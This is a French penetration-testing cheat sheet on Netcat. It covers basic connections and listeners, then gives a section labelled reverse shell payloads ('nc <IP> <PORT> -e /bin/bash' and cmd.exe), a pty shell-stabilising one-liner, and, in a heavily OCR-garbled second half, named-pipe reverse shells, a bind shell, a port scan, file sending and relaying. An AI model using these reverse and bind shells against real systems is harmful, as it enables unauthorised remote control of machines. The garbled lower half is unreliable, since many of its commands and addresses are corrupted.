[Exploitation/Réseau] Netcat

Introduction

Netcat est un outil en ligne de commande qui permet de travailler sur des connexions réseaux
TCP et UDP.

Il peut étre utile pour diagnostiquer ou se connecter a des applications rustiques utilisant des
sockets traditionnels.

NESLCaro

Manuel

Connexion TCP

nc <IP> <PORT>

Connexion UDP

nc -u <IP> <PORT>

Listener TCP

nc -lvp <PORT>

Listener UDP

nc -luvp <PORT>
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Payload reverse shell

e Linux

nc <IP> <PORT> -e /bin/bash

e Windows

nc <IP> <PORT> -e cmd.exe

Stabiliser votre shell

Afin de stabiliser votre shell et le rendre un peu plus ergonomique, notamment en affichant un plus
beau prompt, vous pouvez utiliser la commande suivante pour faire spawn un PTY :

python -c 'import pty; pty.spawn("/bin/sh")'

Cheat-sheet

% nc -y -w 1 137.30.126.111 20-800 2> resuit
$ grep succeeded result | awk “{print $3,54,$6}°
| /7 Scan ports 20-800 on 137.30.126.111, send
£/ QUIDUL T “result” and grep for columns 3, 4,
#/ and & from successful scans

remote shall/backdoor ncat target 1234 ne -Avip 1234
EE ERNCE S ATan /f Set up shell listener [ ncat -v -e ‘/bin/bash’ -1 1234 -(]
________)_-——'—'_'4 e

i{ listener up shell listener

prboxs nc -nvip 1234

targets mkfifo imp/backpipe

rargers /bin/sh 0</tmp/backpipe | NC PLDoX 1234 1>/IMp/Dackpipe
/7 Using named pipe on target using nc, reverse shell to ptbox

% ncet -C mall.example.com 25

220 mail.example.com

HELD client.example.com

250 mail.example.com Hello client. example.com
MAIL FROM: a@example.com

250 OK

MNetcat RCPT TO:b@example.com

250 Accepted

ability to DATA
utilize 354 Enter ending with "." on a line by itself
From. a@unmple.mm
To: b@example.col

- Greetings [from pcot

Hello. This short message is being sent by Ncat,

'aso oK

provides Sf't"_.y TCP and UDP
access for 221 mail.exampie.com dlosing connection

4 Sends email from om to m

-I secs

/4 delay interval for
/4 lines sent/ports
-p port A scanmed
#f specify local

A4 part

// connections

{7 resolutions ncat -lkp 1234 --sh-exec “echo -¢ 'HTTP/1.1 200 ORyr\n'; cat iﬂdel.hkml']

exarnples /1 serves index.htmi ko inbound connections.

/1 open far gunuquem; $ ncat --lua-exec httpd lua --listen 1234 --keep-

;'f e L S e % wget https://raw.githubusercontent. comy/nmap/nmap/master/ ncat/scripts/httpd. lua
open
£/ connections // Serves lua web content to inbound connections

4 mikfifo backpipe

3 nc -1 1234 O<backpipe | nc www.uno.edu 80 1>backpipe
/¥ Use localhost port 1234 as connection proxked to

A www uno edu

example— g

-P proxyuser
#f username for
/# proxy authentication

nc 192.168.3.4 1234 < infile
// Sends a file to 192.168.3.4
/7 port 1234

/# and save as output

command
options
include

/i enable debug
ocket

usage
L nc 192.168.3. 4 1234 e
/f Connect
## listener
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